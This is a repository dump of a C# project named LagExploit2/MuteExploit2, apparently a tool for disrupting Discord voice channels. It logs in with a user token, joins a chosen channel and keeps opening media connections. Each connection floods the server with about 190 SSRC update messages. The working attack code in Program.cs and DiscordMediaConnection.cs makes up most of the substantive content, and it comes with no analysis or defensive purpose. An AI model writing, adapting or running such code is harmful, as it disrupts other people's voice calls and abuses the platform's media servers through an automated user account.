├── LagExploit2.sln ├── LagExploit2 ├── App.config ├── LagExploit2.csproj ├── Modded │ ├── CodecType.cs │ ├── DiscordMediaConnection.cs │ ├── DiscordMediaIdentify.cs │ ├── DiscordMediaReady.cs │ ├── DiscordSessionDescription.cs │ ├── MediaCodec.cs │ ├── MediaCodecSelection.cs │ ├── MediaProtocolData.cs │ ├── MediaProtocolSelection.cs │ ├── StreamSSRC.cs │ └── VideoMediaCodec.cs ├── Program.cs ├── Properties │ └── AssemblyInfo.cs ├── bin │ └── Debug │ │ ├── Anarchy.dll │ │ ├── Anarchy.pdb │ │ ├── Leaf.xNet.dll │ │ ├── Leaf.xNet.xml │ │ ├── MuteExploit2.exe │ │ ├── MuteExploit2.exe.config │ │ ├── MuteExploit2.pdb │ │ ├── Newtonsoft.Json.dll │ │ ├── Newtonsoft.Json.xml │ │ ├── Token.txt │ │ └── websocket-sharp.dll ├── obj │ └── Debug │ │ ├── .NETFramework,Version=v4.7.AssemblyAttributes.cs │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── LagExploit2.csproj.AssemblyReference.cache │ │ ├── MuteExploit2.csproj.AssemblyReference.cache │ │ ├── MuteExploit2.csproj.CopyComplete │ │ ├── MuteExploit2.csproj.CoreCompileInputs.cache │ │ ├── MuteExploit2.csproj.FileListAbsolute.txt │ │ ├── MuteExploit2.csproj.SuggestedBindingRedirects.cache │ │ ├── MuteExploit2.exe │ │ ├── MuteExploit2.exe.config │ │ └── MuteExploit2.pdb └── packages.config ├── README.md └── packages ├── Leaf.xNet.5.2.10 ├── .signature.p7s ├── Leaf.xNet.5.2.10.nupkg ├── icon.png └── lib │ ├── net45 │ ├── Leaf.xNet.dll │ └── Leaf.xNet.xml │ └── netstandard2.0 │ ├── Leaf.xNet.dll │ └── Leaf.xNet.xml ├── Newtonsoft.Json.12.0.3 ├── .signature.p7s ├── LICENSE.md ├── Newtonsoft.Json.12.0.3.nupkg ├── lib │ ├── net20 │ │ ├── Newtonsoft.Json.dll │ │ └── Newtonsoft.Json.xml │ ├── net35 │ │ ├── Newtonsoft.Json.dll │ │ └── Newtonsoft.Json.xml │ ├── net40 │ │ ├── Newtonsoft.Json.dll │ │ └── Newtonsoft.Json.xml │ ├── net45 │ │ ├── Newtonsoft.Json.dll │ │ └── Newtonsoft.Json.xml │ ├── netstandard1.0 │ │ ├── Newtonsoft.Json.dll │ │ └── Newtonsoft.Json.xml │ ├── netstandard1.3 │ │ ├── Newtonsoft.Json.dll │ │ └── Newtonsoft.Json.xml │ ├── netstandard2.0 │ │ ├── Newtonsoft.Json.dll │ │ └── Newtonsoft.Json.xml │ ├── portable-net40+sl5+win8+wp8+wpa81 │ │ ├── Newtonsoft.Json.dll │ │ └── Newtonsoft.Json.xml │ └── portable-net45+win8+wp8+wpa81 │ │ ├── Newtonsoft.Json.dll │ │ └── Newtonsoft.Json.xml └── packageIcon.png ├── Newtonsoft.Json.13.0.1 ├── .signature.p7s ├── LICENSE.md ├── Newtonsoft.Json.13.0.1.nupkg ├── lib │ ├── net20 │ │ ├── Newtonsoft.Json.dll │ │ └── Newtonsoft.Json.xml │ ├── net35 │ │ ├── Newtonsoft.Json.dll │ │ └── Newtonsoft.Json.xml │ ├── net40 │ │ ├── Newtonsoft.Json.dll │ │ └── Newtonsoft.Json.xml │ ├── net45 │ │ ├── Newtonsoft.Json.dll │ │ └── Newtonsoft.Json.xml │ ├── netstandard1.0 │ │ ├── Newtonsoft.Json.dll │ │ └── Newtonsoft.Json.xml │ ├── netstandard1.3 │ │ ├── Newtonsoft.Json.dll │ │ └── Newtonsoft.Json.xml │ └── netstandard2.0 │ │ ├── Newtonsoft.Json.dll │ │ └── Newtonsoft.Json.xml └── packageIcon.png └── better-websocket-sharp.1.0.2.1 ├── .signature.p7s ├── better-websocket-sharp.1.0.2.1.nupkg └── lib └── net35 └── websocket-sharp.dll /LagExploit2.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.0.32126.317 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Anarchy", "..\Anarchy\Anarchy\Anarchy.csproj", "{7F6F1AAC-E4DC-4FE7-8166-5B7AEC6FEB4C}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "LagExploit2", "LagExploit2\LagExploit2.csproj", "{E05044E6-76D7-44E8-85DB-681F38C1086A}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|Any CPU = Debug|Any CPU 13 | Release|Any CPU = Release|Any CPU 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {7F6F1AAC-E4DC-4FE7-8166-5B7AEC6FEB4C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {7F6F1AAC-E4DC-4FE7-8166-5B7AEC6FEB4C}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {7F6F1AAC-E4DC-4FE7-8166-5B7AEC6FEB4C}.Release|Any CPU.ActiveCfg = Debug|Any CPU 19 | {7F6F1AAC-E4DC-4FE7-8166-5B7AEC6FEB4C}.Release|Any CPU.Build.0 = Debug|Any CPU 20 | {E05044E6-76D7-44E8-85DB-681F38C1086A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 21 | {E05044E6-76D7-44E8-85DB-681F38C1086A}.Debug|Any CPU.Build.0 = Debug|Any CPU 22 | {E05044E6-76D7-44E8-85DB-681F38C1086A}.Release|Any CPU.ActiveCfg = Release|Any CPU 23 | {E05044E6-76D7-44E8-85DB-681F38C1086A}.Release|Any CPU.Build.0 = Release|Any CPU 24 | {0CA77EB7-37DC-4C02-886C-F5E01569934C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 25 | {0CA77EB7-37DC-4C02-886C-F5E01569934C}.Debug|Any CPU.Build.0 = Debug|Any CPU 26 | {0CA77EB7-37DC-4C02-886C-F5E01569934C}.Release|Any CPU.ActiveCfg = Release|Any CPU 27 | {0CA77EB7-37DC-4C02-886C-F5E01569934C}.Release|Any CPU.Build.0 = Release|Any CPU 28 | EndGlobalSection 29 | GlobalSection(SolutionProperties) = preSolution 30 | HideSolutionNode = FALSE 31 | EndGlobalSection 32 | GlobalSection(ExtensibilityGlobals) = postSolution 33 | SolutionGuid = {AD6B1582-081F-4C69-9BBC-B909FDD24DDD} 34 | EndGlobalSection 35 | EndGlobal 36 | -------------------------------------------------------------------------------- /LagExploit2/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /LagExploit2/LagExploit2.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {E05044E6-76D7-44E8-85DB-681F38C1086A} 8 | Exe 9 | MuteExploit2 10 | MuteExploit2 11 | v4.7 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | 37 | ..\packages\Newtonsoft.Json.13.0.1\lib\net45\Newtonsoft.Json.dll 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | ..\packages\better-websocket-sharp.1.0.2.1\lib\net35\websocket-sharp.dll 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | {7f6f1aac-e4dc-4fe7-8166-5b7aec6feb4c} 73 | Anarchy 74 | 75 | 76 | 77 | -------------------------------------------------------------------------------- /LagExploit2/Modded/CodecType.cs: -------------------------------------------------------------------------------- 1 | namespace MuteExploit2 2 | { 3 | internal enum CodecType 4 | { 5 | Audio, 6 | Video 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /LagExploit2/Modded/DiscordMediaConnection.cs: -------------------------------------------------------------------------------- 1 | using Discord.Gateway; 2 | using Discord.Media; 3 | using Discord.WebSockets; 4 | using System; 5 | using System.Collections.Generic; 6 | using System.Linq; 7 | using System.Net; 8 | using System.Net.Sockets; 9 | using System.Text; 10 | using System.Threading; 11 | using System.Threading.Tasks; 12 | using WebSocketSharp; 13 | 14 | namespace MuteExploit2 15 | { 16 | internal class DiscordMediaConnection : DiscordWebSocket 17 | { 18 | public delegate void WSMessageHandler(DiscordMediaConnection connection, DiscordWebSocketMessage message); 19 | public event WSMessageHandler OnMessage; 20 | 21 | public delegate void ReadyHandler(DiscordMediaConnection connection); 22 | public event ReadyHandler OnReady; 23 | 24 | public delegate void KillHandler(DiscordMediaConnection connection, CloseEventArgs args); 25 | public event KillHandler OnDead; 26 | 27 | internal static readonly Dictionary SupportedCodecs = new Dictionary() 28 | { 29 | { "opus", new MediaCodec() { Name = "opus", Type = CodecType.Audio, PayloadType = 120, Priority = 1000 } }, 30 | { "H264", new VideoMediaCodec() { Name = "H264", Type = CodecType.Video, PayloadType = 101, Priority = 1000, RtxPayloadType = 102 } } 31 | }; 32 | 33 | public MediaConnectionState State { get; private set; } 34 | 35 | private readonly ulong _serverId; 36 | 37 | private readonly DiscordMediaServer _server; 38 | 39 | public DiscordSSRC SSRC { get; private set; } 40 | public byte[] SecretKey { get; set; } 41 | 42 | internal UdpClient UdpClient { get; private set; } 43 | public IPEndPoint ServerEndpoint { get; private set; } 44 | 45 | private readonly DiscordSocketClient _parentClient; 46 | 47 | public bool Authenticate { get; set; } 48 | 49 | public DiscordMediaConnection(DiscordSocketClient parentClient, ulong serverId, DiscordMediaServer server) : base("wss://" + server.Endpoint + "?v=4") 50 | { 51 | SSRC = new DiscordSSRC(); 52 | 53 | _parentClient = parentClient; 54 | 55 | _server = server; 56 | _serverId = serverId; 57 | 58 | OnMessageReceived += HandleMessage; 59 | OnClosed += HandleClose; 60 | } 61 | 62 | private void HandleClose(object sender, CloseEventArgs args) 63 | { 64 | State = MediaConnectionState.NotConnected; 65 | 66 | if (args.Code == 1006) 67 | { 68 | Thread.Sleep(200); 69 | Task.Run(() => Connect()); 70 | return; 71 | } 72 | else if (args.Code >= 4000) 73 | { 74 | var discordCode = (DiscordMediaCloseCode)args.Code; 75 | 76 | if (discordCode == DiscordMediaCloseCode.SessionTimeout || discordCode == DiscordMediaCloseCode.ServerCrashed) 77 | { 78 | Task.Run(() => Connect()); 79 | return; 80 | } 81 | } 82 | 83 | if (args.Code != 1004) 84 | OnDead?.Invoke(this, args); 85 | } 86 | 87 | private void HandleMessage(object sender, DiscordWebSocketMessage message) 88 | { 89 | try 90 | { 91 | switch (message.Opcode) 92 | { 93 | case DiscordMediaOpcode.Ready: 94 | DiscordMediaReady ready = message.Data.ToObject(); 95 | 96 | SSRC = new DiscordSSRC() { Audio = ready.SSRC }; 97 | ServerEndpoint = new IPEndPoint(IPAddress.Parse(ready.IP), ready.Port); 98 | 99 | UdpClient = new UdpClient(); 100 | UdpClient.Connect(ServerEndpoint); 101 | 102 | SelectProtocol(ServerEndpoint); 103 | break; 104 | case DiscordMediaOpcode.SessionDescription: 105 | var description = message.Data.ToObject(); 106 | 107 | SecretKey = description.SecretKey; 108 | 109 | State = MediaConnectionState.Ready; 110 | OnReady?.Invoke(this); 111 | break; 112 | case DiscordMediaOpcode.Hello: 113 | State = MediaConnectionState.Connected; 114 | 115 | while (!Authenticate) { Thread.Sleep(1); } 116 | 117 | Send(DiscordMediaOpcode.Identify, new DiscordMediaIdentify() 118 | { 119 | ServerId = _serverId, 120 | UserId = _parentClient.User.Id, 121 | SessionId = _parentClient.SessionId, 122 | Token = _server.Token, 123 | Video = true 124 | }); 125 | 126 | StartHeartbeaterAsync(message.Data.Value("heartbeat_interval")); 127 | break; 128 | default: 129 | OnMessage?.Invoke(this, message); 130 | break; 131 | } 132 | } 133 | catch (InvalidOperationException) { } 134 | } 135 | 136 | public new void Connect() 137 | { 138 | State = MediaConnectionState.Connecting; 139 | base.Connect(); 140 | } 141 | 142 | 143 | public void SetSSRC(uint audioSsrc) 144 | { 145 | SSRC = new DiscordSSRC() { Audio = audioSsrc, Video = audioSsrc + 1, Rtx = audioSsrc + 2 }; 146 | Send(DiscordMediaOpcode.SSRCUpdate, SSRC); 147 | } 148 | 149 | 150 | private async void StartHeartbeaterAsync(int interval) 151 | { 152 | try 153 | { 154 | while (true) 155 | { 156 | Send(DiscordMediaOpcode.Heartbeat, DateTimeOffset.UtcNow.ToUnixTimeMilliseconds()); 157 | await Task.Delay(interval); 158 | } 159 | } 160 | catch (InvalidOperationException) { } 161 | } 162 | 163 | 164 | private void SelectProtocol(IPEndPoint localEndpoint) 165 | { 166 | Send(DiscordMediaOpcode.SelectProtocol, new MediaProtocolSelection() 167 | { 168 | Protocol = "udp", 169 | ProtocolData = new MediaProtocolData() 170 | { 171 | Host = localEndpoint.Address.ToString(), 172 | Port = localEndpoint.Port, 173 | EncryptionMode = "xsalsa20_poly1305" 174 | }, 175 | RtcConnectionId = Guid.NewGuid().ToString(), 176 | Codecs = SupportedCodecs.Values.ToList() 177 | }); 178 | } 179 | } 180 | } 181 | -------------------------------------------------------------------------------- /LagExploit2/Modded/DiscordMediaIdentify.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | 3 | namespace Discord.Media 4 | { 5 | internal class DiscordMediaIdentify 6 | { 7 | [JsonProperty("server_id")] 8 | public ulong ServerId { get; set; } 9 | 10 | 11 | [JsonProperty("user_id")] 12 | public ulong UserId { get; set; } 13 | 14 | 15 | [JsonProperty("session_id")] 16 | public string SessionId { get; set; } 17 | 18 | 19 | [JsonProperty("token")] 20 | public string Token { get; set; } 21 | 22 | 23 | [JsonProperty("video")] 24 | public bool Video { get; set; } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /LagExploit2/Modded/DiscordMediaReady.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using Newtonsoft.Json; 3 | 4 | namespace MuteExploit2 5 | { 6 | internal class DiscordMediaReady 7 | { 8 | [JsonProperty("ssrc")] 9 | public uint SSRC { get; private set; } 10 | 11 | 12 | [JsonProperty("ip")] 13 | public string IP { get; private set; } 14 | 15 | 16 | [JsonProperty("port")] 17 | public int Port { get; private set; } 18 | 19 | 20 | [JsonProperty("modes")] 21 | public List EncryptionModes { get; private set; } 22 | 23 | 24 | [JsonProperty("streams")] 25 | public List Streams { get; private set; } 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /LagExploit2/Modded/DiscordSessionDescription.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | 3 | namespace MuteExploit2 4 | { 5 | internal class DiscordSessionDescription : MediaCodecSelection 6 | { 7 | [JsonProperty("media_session_id")] 8 | public string SessionId { get; private set; } 9 | 10 | 11 | [JsonProperty("mode")] 12 | public string EncryptionMode { get; private set; } 13 | 14 | 15 | [JsonProperty("secret_key")] 16 | public byte[] SecretKey { get; private set; } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /LagExploit2/Modded/MediaCodec.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | using System; 3 | 4 | namespace MuteExploit2 5 | { 6 | internal class MediaCodec 7 | { 8 | [JsonProperty("name")] 9 | public string Name { get; set; } 10 | 11 | 12 | [JsonProperty("type")] 13 | private string _type; 14 | 15 | public CodecType Type 16 | { 17 | get 18 | { 19 | return (CodecType)Enum.Parse(typeof(CodecType), _type, true); 20 | } 21 | set 22 | { 23 | _type = value.ToString().ToLower(); 24 | } 25 | } 26 | 27 | 28 | [JsonProperty("priority")] 29 | public int Priority { get; set; } = 1000; 30 | 31 | 32 | [JsonProperty("payload_type")] 33 | public byte PayloadType { get; set; } 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /LagExploit2/Modded/MediaCodecSelection.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | 3 | namespace MuteExploit2 4 | { 5 | internal class MediaCodecSelection 6 | { 7 | [JsonProperty("media_session_id")] 8 | internal string NewSessionId { get; private set; } 9 | 10 | 11 | [JsonProperty("audio_codec")] 12 | public string AudioCodec { get; set; } 13 | 14 | 15 | [JsonProperty("video_codec")] 16 | public string VideoCodec { get; set; } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /LagExploit2/Modded/MediaProtocolData.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | 3 | namespace MuteExploit2 4 | { 5 | internal class MediaProtocolData 6 | { 7 | [JsonProperty("address")] 8 | public string Host { get; set; } 9 | 10 | 11 | [JsonProperty("port")] 12 | public int Port { get; set; } 13 | 14 | 15 | [JsonProperty("mode")] 16 | public string EncryptionMode { get; set; } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /LagExploit2/Modded/MediaProtocolSelection.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | using System.Collections.Generic; 3 | 4 | namespace MuteExploit2 5 | { 6 | internal class MediaProtocolSelection 7 | { 8 | [JsonProperty("protocol")] 9 | public string Protocol { get; set; } 10 | 11 | 12 | [JsonProperty("data")] 13 | public MediaProtocolData ProtocolData { get; set; } 14 | 15 | 16 | [JsonProperty("rtc_connection_id")] 17 | public string RtcConnectionId { get; set; } 18 | 19 | 20 | [JsonProperty("codecs")] 21 | public List Codecs { get; set; } 22 | 23 | 24 | [JsonProperty("address")] 25 | public string Host 26 | { 27 | get { return ProtocolData.Host; } 28 | } 29 | 30 | 31 | [JsonProperty("port")] 32 | public int Port 33 | { 34 | get { return ProtocolData.Port; } 35 | } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /LagExploit2/Modded/StreamSSRC.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | 3 | namespace MuteExploit2 4 | { 5 | public class StreamSSRC 6 | { 7 | [JsonProperty("type")] 8 | public string Type { get; private set; } 9 | 10 | [JsonProperty("ssrc")] 11 | public uint SSRC { get; private set; } 12 | 13 | [JsonProperty("rtx_ssrc")] 14 | public uint RtxSsrc { get; private set; } 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /LagExploit2/Modded/VideoMediaCodec.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | 3 | namespace MuteExploit2 4 | { 5 | internal class VideoMediaCodec : MediaCodec 6 | { 7 | public VideoMediaCodec() 8 | { 9 | Type = CodecType.Video; 10 | } 11 | 12 | [JsonProperty("rtx_payload_type")] 13 | public int RtxPayloadType { get; set; } 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /LagExploit2/Program.cs: -------------------------------------------------------------------------------- 1 | using Discord; 2 | using Discord.Gateway; 3 | using System; 4 | using System.Collections.Concurrent; 5 | using System.Collections.Generic; 6 | using System.IO; 7 | using System.Linq; 8 | using System.Text; 9 | using System.Threading; 10 | using System.Threading.Tasks; 11 | 12 | namespace MuteExploit2 13 | { 14 | internal class Program 15 | { 16 | private static DiscordMediaServer _server; 17 | 18 | private static ConcurrentQueue _connectionQueue = new ConcurrentQueue(); 19 | 20 | static void Main(string[] args) 21 | { 22 | var client = new DiscordSocketClient(new DiscordSocketConfig() { HandleIncomingMediaData = false }); 23 | client.OnMediaServer += Client_OnMediaServer; 24 | client.OnLoggedIn += Client_OnLoggedIn; 25 | client.Login(File.ReadAllText("Token.txt")); 26 | 27 | Thread.Sleep(-1); 28 | } 29 | 30 | private static void Client_OnLoggedIn(DiscordSocketClient client, LoginEventArgs args) 31 | { 32 | Console.WriteLine("Logged into " + client.User.ToString()); 33 | 34 | Console.Write("Channel ID: "); 35 | ulong channelId = ulong.Parse(Console.ReadLine()); 36 | 37 | try 38 | { 39 | var channel = (GuildChannel)client.GetChannel(channelId); 40 | client.GetVoiceClient(channel.Guild.Id).Connect(channel.Id); 41 | } 42 | catch (DiscordHttpException) 43 | { 44 | Console.WriteLine("Unknown channel"); 45 | } 46 | } 47 | 48 | private static void Client_OnMediaServer(DiscordSocketClient client, DiscordMediaServer args) 49 | { 50 | Console.WriteLine("Got media server"); 51 | _server = args; 52 | 53 | Task.Run(() => StartConnectionStarter(client)); 54 | 55 | Task.Run(() => 56 | { 57 | while (true) 58 | { 59 | DiscordMediaConnection connection; 60 | while (!_connectionQueue.TryDequeue(out connection)) 61 | Thread.Sleep(1); 62 | 63 | connection.Authenticate = true; 64 | 65 | while (connection.State < Discord.Media.MediaConnectionState.Ready) 66 | Thread.Sleep(1); 67 | 68 | Console.WriteLine("Sending SSRC's"); 69 | 70 | for (uint i = 0; i < 190; i++) 71 | { 72 | if (connection.State == Discord.Media.MediaConnectionState.Ready) 73 | { 74 | try 75 | { 76 | connection.SetSSRC(i); 77 | } 78 | catch (InvalidOperationException) 79 | { 80 | break; 81 | } 82 | } 83 | else break; 84 | } 85 | } 86 | }); 87 | } 88 | 89 | private static void StartConnectionStarter(DiscordSocketClient client) 90 | { 91 | while (true) 92 | { 93 | if (_connectionQueue.Count < 3) 94 | { 95 | var conn = new DiscordMediaConnection(client, _server.Guild.Id, _server); 96 | Task.Run(() => conn.Connect()); 97 | 98 | _connectionQueue.Enqueue(conn); 99 | } 100 | else Thread.Sleep(100); 101 | } 102 | } 103 | } 104 | } 105 | -------------------------------------------------------------------------------- /LagExploit2/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("MuteExploit2")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("MuteExploit2")] 13 | [assembly: AssemblyCopyright("Copyright © 2022")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("e05044e6-76d7-44e8-85db-681f38c1086a")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /LagExploit2/bin/Debug/Anarchy.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/LagExploit2/bin/Debug/Anarchy.dll -------------------------------------------------------------------------------- /LagExploit2/bin/Debug/Anarchy.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/LagExploit2/bin/Debug/Anarchy.pdb -------------------------------------------------------------------------------- /LagExploit2/bin/Debug/Leaf.xNet.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/LagExploit2/bin/Debug/Leaf.xNet.dll -------------------------------------------------------------------------------- /LagExploit2/bin/Debug/MuteExploit2.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/LagExploit2/bin/Debug/MuteExploit2.exe -------------------------------------------------------------------------------- /LagExploit2/bin/Debug/MuteExploit2.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /LagExploit2/bin/Debug/MuteExploit2.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/LagExploit2/bin/Debug/MuteExploit2.pdb -------------------------------------------------------------------------------- /LagExploit2/bin/Debug/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/LagExploit2/bin/Debug/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /LagExploit2/bin/Debug/Token.txt: -------------------------------------------------------------------------------- 1 | your token here -------------------------------------------------------------------------------- /LagExploit2/bin/Debug/websocket-sharp.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/LagExploit2/bin/Debug/websocket-sharp.dll -------------------------------------------------------------------------------- /LagExploit2/obj/Debug/.NETFramework,Version=v4.7.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7", FrameworkDisplayName = ".NET Framework 4.7")] 5 | -------------------------------------------------------------------------------- /LagExploit2/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/LagExploit2/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /LagExploit2/obj/Debug/LagExploit2.csproj.AssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/LagExploit2/obj/Debug/LagExploit2.csproj.AssemblyReference.cache -------------------------------------------------------------------------------- /LagExploit2/obj/Debug/MuteExploit2.csproj.AssemblyReference.cache: -------------------------------------------------------------------------------- 1 |  -------------------------------------------------------------------------------- /LagExploit2/obj/Debug/MuteExploit2.csproj.CopyComplete: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/LagExploit2/obj/Debug/MuteExploit2.csproj.CopyComplete -------------------------------------------------------------------------------- /LagExploit2/obj/Debug/MuteExploit2.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 02a644ca33287b52897c75fce3e2035fca26a254 2 | -------------------------------------------------------------------------------- /LagExploit2/obj/Debug/MuteExploit2.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\bin\Debug\MuteExploit2.exe.config 2 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\bin\Debug\MuteExploit2.exe 3 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\bin\Debug\MuteExploit2.pdb 4 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\bin\Debug\Anarchy.dll 5 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\bin\Debug\Newtonsoft.Json.dll 6 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\bin\Debug\Leaf.xNet.dll 7 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\bin\Debug\websocket-sharp.dll 8 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\bin\Debug\Anarchy.pdb 9 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\bin\Debug\Newtonsoft.Json.xml 10 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\bin\Debug\Leaf.xNet.xml 11 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\obj\Debug\MuteExploit2.csproj.AssemblyReference.cache 12 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\obj\Debug\MuteExploit2.csproj.SuggestedBindingRedirects.cache 13 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\obj\Debug\MuteExploit2.csproj.CoreCompileInputs.cache 14 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\obj\Debug\MuteExploit2.csproj.CopyComplete 15 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\obj\Debug\MuteExploit2.exe 16 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\obj\Debug\MuteExploit2.pdb 17 | C:\Users\Deez\source\repos\MuteExploit\MuteExploit2\obj\Debug\MuteExploit2.exe.config 18 | -------------------------------------------------------------------------------- /LagExploit2/obj/Debug/MuteExploit2.csproj.SuggestedBindingRedirects.cache: -------------------------------------------------------------------------------- 1 | a68ceea040833d9a1037cf43b53653e95cb9f3a4 2 | -------------------------------------------------------------------------------- /LagExploit2/obj/Debug/MuteExploit2.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/LagExploit2/obj/Debug/MuteExploit2.exe -------------------------------------------------------------------------------- /LagExploit2/obj/Debug/MuteExploit2.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /LagExploit2/obj/Debug/MuteExploit2.pdb: -------------------------------------------------------------------------------- 